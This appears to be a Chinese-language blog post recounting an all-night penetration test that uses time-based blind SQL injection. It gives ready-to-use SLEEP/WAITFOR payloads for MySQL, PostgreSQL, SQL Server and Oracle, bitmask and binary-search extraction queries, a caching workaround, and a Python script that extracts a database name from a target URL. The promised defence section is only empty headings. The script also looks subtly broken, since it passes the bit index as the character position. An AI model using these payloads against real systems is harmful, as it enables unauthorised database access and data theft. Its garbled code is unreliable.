那是一个周五的深夜,我盯着屏幕上始终不变的404页面,手指无意识地敲击着键盘。这已经是第三次尝试用常规方法获取数据库信息了——联合注入显示位被屏蔽,报错注入毫无反应,布尔盲注永远返回相同的页面。咖啡杯早已见底,但问题依然无解。
就在准备放弃时,我突然想起导师曾经提过的"最后手段"——时间盲注。这种基于响应时间的注入方式虽然效率低下,但在其他方法都失效时,或许能成为突破口。接下来的八小时,我经历了一场与数据库的"龟速对话",最终成功获取了关键信息。以下是这段曲折探索的全记录。
在渗透测试中,我们通常会优先尝试联合查询注入(UNION-based)和报错注入(Error-based),因为它们效率最高。但在某些特殊配置环境下,这些方法会完全失效:
联合注入失效原因:
UNION、SELECT等关键词报错注入失效原因:
PDO::ERRMODE_SILENT等静默错误模式display_errors设置为Off的生产环境配置布尔盲注失效原因:
提示:在实际测试中,建议先用
id=1'和id=1' and '1'='1等简单payload确认基本注入类型,再逐步尝试更复杂的方法。
当其他方法都无效时,时间盲注(Time-based Blind SQLi)成为最后的希望。其核心思想是通过构造条件语句,利用数据库的延时函数使页面响应时间产生差异,从而推断查询结果。
不同数据库的时间盲注实现方式略有差异:
| 数据库类型 | 延时函数 | 示例Payload |
|---|---|---|
| MySQL | SLEEP() |
1' AND SLEEP(5)-- |
| PostgreSQL | PG_SLEEP() |
1' AND PG_SLEEP(5)-- |
| SQL Server | WAITFOR DELAY |
1'; WAITFOR DELAY '0:0:5'-- |
| Oracle | DBMS_LOCK.SLEEP |
1' AND DBMS_LOCK.SLEEP(5)=1-- |
我首先尝试了最基本的延时测试:
sql复制?id=1' AND IF(1=1,SLEEP(5),0)--
?id=1' AND IF(1=2,SLEEP(5),0)--
第一个请求应该延时5秒响应,第二个应立即返回。但实际操作中遇到了几个陷阱:
sleep()的请求解决方案是:
确认时间盲注可行后,真正的挑战才开始。提取每个字符都需要数十次请求,必须优化每个环节。
通过二分查找法可以显著减少请求次数:
python复制# 伪代码示例
low, high = 1, 64 # 假设长度不超过64
while low <= high:
mid = (low + high) // 2
payload = f"1' AND IF(LENGTH(DATABASE())>{mid},SLEEP(3),0)--"
if response_time > 3:
low = mid + 1
else:
high = mid - 1
db_length = low
直接枚举ASCII码效率极低,我采用了以下优化策略:
字符集缩小:
并行请求:
sql复制?id=1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))&1,SLEEP(2),0)--
?id=1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))&2,SLEEP(2),0)--
...
?id=1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))&64,SLEEP(2),0)--
通过位运算一次请求即可确定字符的二进制表示
响应时间编码:
sql复制?id=1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(1),0)--
?id=1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=98,SLEEP(2),0)--
...
不同延时时间对应不同字符,减少请求次数
在实际操作中,我遇到了几个意外情况:
案例1:数据库缓存干扰
sql复制-- 第一次请求(查数据库,耗时)
1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),0)--
-- 第二次相同请求(走缓存,快速)
1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),0)--
解决方案是在payload中添加随机注释:
sql复制1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),0)/*RANDOM*/--
案例2:WAF速率限制
解决方案:
手动操作不仅耗时而且容易出错,我最终编写了自动化脚本来完成这个过程。以下是核心逻辑:
python复制import requests
import time
import random
def timed_request(url, payload):
start = time.time()
try:
requests.get(url + payload, timeout=10)
except:
pass
return time.time() - start
def extract_bit(url, pos, char_pos, mask):
payload = f"?id=1' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{char_pos},1))&{mask},SLEEP(2),0)/*{random.random()}*/--"
resp_time = timed_request(url, payload)
return 1 if resp_time > 1.5 else 0
def extract_char(url, pos):
char_bits = 0
for i in range(7): # ASCII码7位
char_bits |= (extract_bit(url, pos, i+1, 1<<i) << i)
return chr(char_bits)
# 使用示例
db_name = ""
for i in range(1, 20): # 假设数据库名不超过20字符
db_name += extract_char("http://target.com", i)
print(f"Progress: {db_name}")
if not db_name[-1].isalnum() and db_name[-1] != '_':
break
这个脚本相比传统逐字符枚举方法,效率提升了约8倍。关键优化点包括:
经历了这次"煎熬"的注入过程,我对如何防御时间盲注有了更深的理解:
输入过滤:
响应控制:
监控措施:
时间盲注确实是最耗时的注入方式,但在特定环境下可能是唯一可行的方法。那次通宵之后,我在笔记本上写下一句话:"当所有门都关闭时,时间会为你打开一扇窗——只是需要足够的耐心。"